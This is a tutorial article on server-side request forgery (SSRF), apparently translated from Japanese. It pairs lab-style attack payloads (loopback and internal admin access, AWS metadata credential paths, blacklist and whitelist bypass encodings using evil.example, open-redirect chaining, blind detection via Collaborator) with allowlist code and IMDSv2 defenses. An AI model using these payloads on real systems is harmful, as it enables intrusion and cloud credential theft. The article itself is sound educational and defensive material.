SSRF (server-side request forgery) is one of the vulnerabilities whose impact has expanded the most in the recent cloud era. As PortSwigger defines it, it "makes a server-side app send a request to an unintended destination," and the essential terror lies in being able to reach inside the firewall by borrowing the server's trust. This article explains those attack techniques faithfully to the official source.
An absolute premise: all payloads only within a legal lab or an authorized scope. Metadata theft is a serious incident in a real cloud environment. Don't exceed your own verification environment or an explicitly authorized range (→ the legal guide). The map is the pillar.
1. The essence of SSRF — leaving the destination to input
Features that "given a URL, fetch and return/process its contents" are the breeding ground. Preview generation, webhooks, PDF conversion, image fetching, URL import, etc.
# 脆弱な機能：商品在庫を外部APIから取得する。サーバーが url へアクセスする
POST /product/stock HTTP/1.1
Host: lab.example
Content-Type: application/x-www-form-urlencoded
stockApi=http://stock.internal:8080/check?productId=1
If the attacker can swap this stockApi, the server will access whatever destination it's told.
2. Reaching the server itself / internal systems
2.1 localhost (loopback)
Admin features tend to "trust requests from local." That's where you strike.
stockApi=http://localhost/admin # 外部からは入れない管理画面へ
stockApi=http://127.0.0.1/admin/delete?user=carlos
2.2 Internal network
Internal systems are loosely authenticated and unreachable from outside — which is exactly why they're prime targets. Scan the private address ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
stockApi=http://192.168.0.68/admin # 内部ホストの管理面
# ブラインドなら、応答時間や成否で内部のポート/ホストの存在を推測（内部ポートスキャン）
3. [Most important] Stealing cloud metadata
A cloud instance can access the "instance metadata service (IMDS)" at the link-local address 169.254.169.254. Since this can contain IAM temporary credentials, reaching it via SSRF leads to lateral movement across the entire cloud asset.
# AWS（IMDSv1：トークン不要で読めてしまう＝危険）
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role名>
# → AccessKeyId / SecretAccessKey / Token が返る（奪取されると致命的）
# GCP（メタデータには専用ヘッダが要る）
# Metadata-Flavor: Google ヘッダ付きで /computeMetadata/v1/ へ
The core of defense: IMDSv2
AWS's IMDSv2 makes it mandatory to obtain a session token via PUT before metadata retrieval, neutralizing simple GET-based SSRF.
# IMDSv2：まずトークンをPUTで取得しないと、その後のGETが拒否される
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/
Since most SSRF is a simple GET, just enforcing IMDSv2 (HttpTokens: required) greatly lowers the metadata-theft risk. Always enable it on EC2/ECS/EKS.
4. Filter bypass — the limits of blacklists/whitelists
4.1 Blacklist bypass
"Reject if it contains 127.0.0.1 or localhost" — this kind of defense is broken with equivalent expressions.
http://127.1/ # 短縮表記
http://0x7f000001/ # 16進
http://2130706433/ # 10進（127.0.0.1の整数値）
http://[::1]/ # IPv6ループバック
http://127.0.0.1.nip.io/ # DNSで127.0.0.1へ解決される名前
http://localhost%2F..%2F.../ # URLパース不整合を突く
4.2 Whitelist bypass
"Allow if it starts with a specific domain" can also be tricked with the ambiguity of the URL parser.
http://expected-host@evil.example/ # @ の前は資格情報、実際の宛先は evil
http://evil.example#expected-host # フラグメントで誤認させる
http://expected-host.evil.example/ # サブドメインに偽装
4.3 Via an open redirect
If an allowed domain has an open redirect, you can use it as a stepping stone to jump to metadata.
# 許可されたホストの /redirect が任意先へ飛ばすなら、それ経由でメタデータへ
stockApi=http://allowed-host/redirect?url=http://169.254.169.254/latest/meta-data/
For open-redirect defense in Next.js, see the dedicated guide. SSRF and open redirects chain, so you need to close both.
5. Blind SSRF — even when no response returns
As PortSwigger defines, blind SSRF is where the backend issues the request but its response doesn't return to the front. For detection, use OAST (out-of-band).
# Burp Collaborator のサブドメインを宛先にして、DNS/HTTPの着信を観測する
stockApi=http://<collaborator-id>.oastify.com/
# 着信があれば「サーバーが外部へリクエストを出せる」ことの証明 → SSRF確定
Even when blind, you can guess the open/closed state of internal ports by response time, or chain with another internal vulnerability to reach RCE. "Invisible = safe" is false — that's the terror of SSRF.
6. [Defender side] Root-cause defense — don't let the user decide the destination
Once you understand the attack, how do you crush it by design? The essence of PortSwigger and OWASP SSRF Prevention is the allowlist approach.
// ✅ 許可リスト：スキーム・ホスト・ポートを固定し、それ以外は即拒否
const ALLOWED_HOSTS = new Set(["api.partner.example", "cdn.partner.example"]);
function assertSafeUrl(raw: string): URL {
const url = new URL(raw);
// 1) スキームを https に限定（file: gopher: dict: 等を排除）
if (url.protocol !== "https:") throw new Error("scheme not allowed");
// 2) ホストを許可リストで検証（前方一致や正規表現ではなく完全一致）
if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error("host not allowed");
// 3) 認証情報埋め込み（user@host）を拒否
if (url.username || url.password) throw new Error("credentials in url");
return url;
}
But this alone is weak against DNS rebinding (switching to an internal IP at resolution time). Solidify it in layers.
- Verify the resolved IP: just before connecting, check that the name-resolution result is not in a private/link-local range (including
169.254.0.0/16). - Configure it to not follow redirects (if you do, re-verify each hop).
- Metadata blocking: block reachability to
169.254.169.254at the network layer and enforce IMDSv2 (§3). - Egress control: restrict outbound communication from the workload to only the necessary destinations (NAT/SG/network policy).
- A WAF is one layer: pattern detection can be bypassed, so design (the allowlist) is primary and the WAF secondary.
The implementation patterns for SSRF defense in Next.js Server Actions / Route Handlers are detailed in the dedicated guide, and cloud-side defense in depth in the WAF / defense-in-depth guide.
7. Summary
- The essence: leaving the destination to user input gets the inside reached by borrowing the server's trust.
- Most dangerous target: cloud metadata (
169.254.169.254) → IAM credential theft. Enforcing IMDSv2 is the direct mitigation. - Filters break: blacklists by alternate notations, whitelists by
@/subdomains, via open redirects. - Blind is detected with OAST: even invisible, external inbound is the evidence.
- Root-cause defense: allowlist + resolved-IP verification + metadata blocking + egress control. The WAF is secondary.
Next, head to the complete conquest of JWT attacks, which underpins modern authentication platforms.